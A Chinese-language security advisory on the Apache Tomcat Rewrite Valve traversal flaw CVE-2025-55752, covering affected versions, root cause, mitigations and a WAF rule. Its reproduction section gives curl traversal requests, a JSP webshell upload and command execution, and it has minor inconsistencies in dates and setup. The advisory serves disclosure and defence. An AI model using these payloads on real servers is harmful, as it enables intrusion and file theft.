一、漏洞简介¶
1.1 漏洞背景¶
Apache Tomcat 的 Rewrite Valve 是一个 URL 重写组件,类似于 Apache HTTP Server 的 mod_rewrite,用于在请求处理之前对 URL 进行重写。该功能常用于 SEO 优化、URL 美化或旧版 URL 重定向等场景。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2025-55752 |
| 危害等级 | HIGH / 7.5 |
| 漏洞类型 | Rewrite Valve 目录遍历漏洞 |
| 披露时间 | 2025-10-27 |
| 影响组件 | Apache Tomcat 历史 |
- CVE 编号:CVE-2025-55752
- 危害等级:Important(重要)
- 披露时间:2025年9月
- 漏洞类型:目录遍历 + 可能的远程代码执行
补充核验信息:公开时间:2025-10-27;NVD 评分:7.5(HIGH);CWE:CWE-23。
二、影响范围¶
2.1 受影响的版本¶
| 版本系列 | 受影响范围 |
|---|---|
| Tomcat 9.x | 9.0.0.M11 ~ 9.0.108 |
| Tomcat 10.x | 10.1.0-M1 ~ 10.1.44 |
| Tomcat 11.x | 11.0.0-M1 ~ 11.0.0 |
2.2 不受影响的版本¶
| 版本系列 | 修复版本 |
|---|---|
| Tomcat 9.x | ≥ 9.0.109 |
| Tomcat 10.x | ≥ 10.1.45 |
| Tomcat 11.x | ≥ 11.0.1 |
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 启用了 Rewrite Valve 组件
- 配置了将查询参数重写到 URL 的重写规则
- 远程代码执行需额外满足:Default Servlet 的写入功能已启用(
readonly=false)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞源于 Bug 60013 的修复引入的回归问题。在修复过程中,重写后的 URL 在解码之前就被规范化(normalized)处理。
正常情况下,URL 处理流程应为:
1. 接收请求 URL
2. URL 解码
3. 规范化处理(移除 ../ 等)
4. 安全检查(防止访问 /WEB-INF/、/META-INF/)
但漏洞版本的流程为: 1. 接收请求 URL 2. Rewrite Valve 重写 3. 先规范化再解码(问题所在) 4. 安全检查被绕过
攻击者可以利用编码后的路径穿越字符(如 %2e%2e%2f)在规范化阶段不被识别,解码后形成真正的路径穿越。
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置:org.apache.catalina.valves.rewrite.RewriteValve
// 有漏洞的处理逻辑(伪代码)
public void invoke(Request request, Response response) {
// 重写 URL
String rewrittenUrl = rewrite(request);
// 问题:在解码之前进行规范化
String normalized = normalize(rewrittenUrl); // 此时不识别编码字符
// 然后才解码
String decoded = decode(normalized); // 解码后形成路径穿越
// 安全检查已被绕过
processRequest(decoded);
}
修复后的代码:
// 正确的处理顺序
String rewrittenUrl = rewrite(request);
String decoded = decode(rewrittenUrl); // 先解码
String normalized = normalize(decoded); // 再规范化
processRequest(normalized);
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker 搭建测试环境
docker run -d --name tomcat-vuln \
-p 8080:8080 \
-e CATALINA_OPTS="-Dreadonly=false" \
tomcat:9.0.108-jdk11
# 配置 Rewrite Valve
# 在 conf/server.xml 的 Host 元素中添加:
# <Valve className="org.apache.catalina.valves.rewrite.RewriteValve" />
# 创建重写规则 conf/Catalina/localhost/rewrite.config
# RewriteRule ^/old/(.*)$ /new?param=$1 [L]
4.2 PoC 演示与测试过程¶
目录遍历读取敏感文件:
# 构造恶意请求绕过 WEB-INF 保护
curl -v "http://target:8080/old/..%252f..%252fWEB-INF/web.xml"
远程代码执行(需 PUT 启用):
# 上传恶意 JSP 文件
curl -X PUT "http://target:8080/old/..%252f..%252fshell.jsp" \
-d "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>"
# 执行命令
curl "http://target:8080/shell.jsp?cmd=id"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
| 当前版本 | 升级目标 |
|---|---|
| Tomcat 9.0.x < 9.0.109 | 升级至 9.0.109 或更高版本 |
| Tomcat 10.1.x < 10.1.45 | 升级至 10.1.45 或更高版本 |
| Tomcat 11.0.x < 11.0.1 | 升级至 11.0.1 或更高版本 |
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 禁用 Rewrite Valve(如非必需):
<!-- 注释或删除 server.xml 中的 Rewrite Valve 配置 -->
<!-- <Valve className="org.apache.catalina.valves.rewrite.RewriteValve" /> -->
- 确保 Default Servlet 写入功能禁用:
<!-- conf/web.xml -->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value> <!-- 确保为 true -->
</init-param>
</servlet>
- 使用 WAF 规则拦截:
# 拦截包含双重 URL 编码的路径穿越尝试
SecRule REQUEST_URI "@contains %252e%252e" "deny,status:403"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://lists.apache.org/thread/n05kjcwyj1s45ovs8ll1qrrojhfb1tog
- https://tomcat.apache.org/security-9.html
- https://github.com/apache/tomcat/commit/b5042622
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-55752
- CVE:https://www.cve.org/CVERecord?id=CVE-2025-55752
- http://www.openwall.com/lists/oss-security/2025/10/27/4
- https://www.vicarius.io/vsociety/posts/cve-2025-55752-mitigate-apache-tomcat-vulnerability
- https://www.vicarius.io/vsociety/posts/cve-2025-55752-detect-apache-tomcat-vulnerability
- http://target:8080/old/..%252f..%252fWEB-INF/web.xml"
- http://target:8080/old/..%252f..%252fshell.jsp"
- http://target:8080/shell.jsp?cmd=id"